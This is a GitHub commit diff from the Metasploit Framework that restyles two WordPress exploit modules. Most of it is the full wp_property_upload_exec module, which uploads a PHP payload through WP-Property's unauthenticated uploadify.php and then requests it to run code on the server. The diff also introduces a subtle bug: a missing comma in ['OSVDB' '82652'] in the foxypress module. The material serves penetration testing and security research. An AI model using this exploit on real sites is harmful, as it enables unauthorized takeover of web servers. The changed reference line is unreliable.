Skip to content

Commit 313fd6f

Browse files
committed
Land rapid7#3582, @firefart's rubocop cleanup for wp_property_upload_exec
2 parents 318418a + 58fbb0b commit 313fd6f

File tree

2 files changed

+32
-52
lines changed

2 files changed

+32
-52
lines changed

modules/exploits/unix/webapp/php_wordpress_foxypress.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,9 @@ def initialize(info = {})
2929
'License' => MSF_LICENSE,
3030
'References' =>
3131
[
32-
%w(EDB 18991),
33-
%w(OSVDB 82652),
34-
%w(BID 53805)
32+
['EDB', '18991'],
33+
['OSVDB' '82652'],
34+
['BID', '53805']
3535
],
3636
'Privileged' => false,
3737
'Platform' => 'php',

modules/exploits/unix/webapp/wp_property_upload_exec.rb

Lines changed: 29 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -3,23 +3,23 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
require 'msf/core'
87

98
class Metasploit3 < Msf::Exploit::Remote
109
Rank = ExcellentRanking
1110

12-
include Msf::Exploit::Remote::HttpClient
13-
include Msf::Exploit::PhpEXE
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
1413

1514
def initialize(info = {})
16-
super(update_info(info,
15+
super(update_info(
16+
info,
1717
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
18-
'Description' => %q{
19-
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
18+
'Description' => %q(
19+
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
2020
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
2121
temp directory without authentication, which results in arbitrary code execution.
22-
},
22+
),
2323
'Author' =>
2424
[
2525
'Sammy FORGIT', # initial discovery
@@ -28,82 +28,62 @@ def initialize(info = {})
2828
'License' => MSF_LICENSE,
2929
'References' =>
3030
[
31-
[ 'OSVDB', '82656' ],
32-
[ 'BID', '53787' ],
33-
[ 'EDB', '18987'],
34-
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
31+
['OSVDB', '82656'],
32+
['BID', '53787'],
33+
['EDB', '18987'],
34+
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html']
3535
],
36-
'Payload' =>
37-
{
38-
'BadChars' => "\x00",
39-
},
4036
'Platform' => 'php',
4137
'Arch' => ARCH_PHP,
42-
'Targets' =>
43-
[
44-
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
45-
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
46-
],
38+
'Targets' => [['wp-property <= 1.35.0', {}]],
4739
'DefaultTarget' => 0,
4840
'DisclosureDate' => 'Mar 26 2012'))
49-
50-
register_options(
51-
[
52-
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
53-
], self.class)
5441
end
5542

5643
def check
57-
uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
44+
uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
5845

59-
res = send_request_cgi({
46+
res = send_request_cgi(
6047
'method' => 'GET',
6148
'uri' => uri
62-
})
49+
)
6350

64-
if not res or res.code != 200
65-
return Exploit::CheckCode::Unknown
66-
end
51+
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
6752

68-
return Exploit::CheckCode::Appears
53+
Exploit::CheckCode::Detected
6954
end
7055

7156
def exploit
72-
data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/')
57+
data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/')
7358
request_uri = normalize_uri(data_uri, 'uploadify.php')
7459

75-
peer = "#{rhost}:#{rport}"
76-
77-
@payload_name = "#{rand_text_alpha(5)}.php"
78-
php_payload = get_write_exec_payload(:unlink_self=>true)
60+
payload_name = "#{rand_text_alpha(5)}.php"
7961

8062
data = Rex::MIME::Message.new
81-
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
63+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
8264
data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
8365
post_data = data.to_s
8466

85-
print_status("#{peer} - Uploading payload #{@payload_name}")
86-
res = send_request_cgi({
67+
print_status("#{peer} - Uploading payload #{payload_name}")
68+
res = send_request_cgi(
8769
'method' => 'POST',
8870
'uri' => request_uri,
8971
'ctype' => "multipart/form-data; boundary=#{data.bound}",
9072
'data' => post_data
91-
})
73+
)
9274

93-
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
75+
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
9476
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
9577
end
9678

79+
register_files_for_cleanup(payload_name)
80+
9781
upload_uri = normalize_uri(res.body)
9882

99-
print_status("#{peer} - Executing payload #{@payload_name}")
100-
res = send_request_raw({
83+
print_status("#{peer} - Executing payload #{payload_name}")
84+
send_request_raw(
10185
'uri' => upload_uri,
10286
'method' => 'GET'
103-
})
104-
105-
if res and res.code != 200
106-
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
107-
end
87+
)
10888
end
10989
end

0 commit comments

Comments
 (0)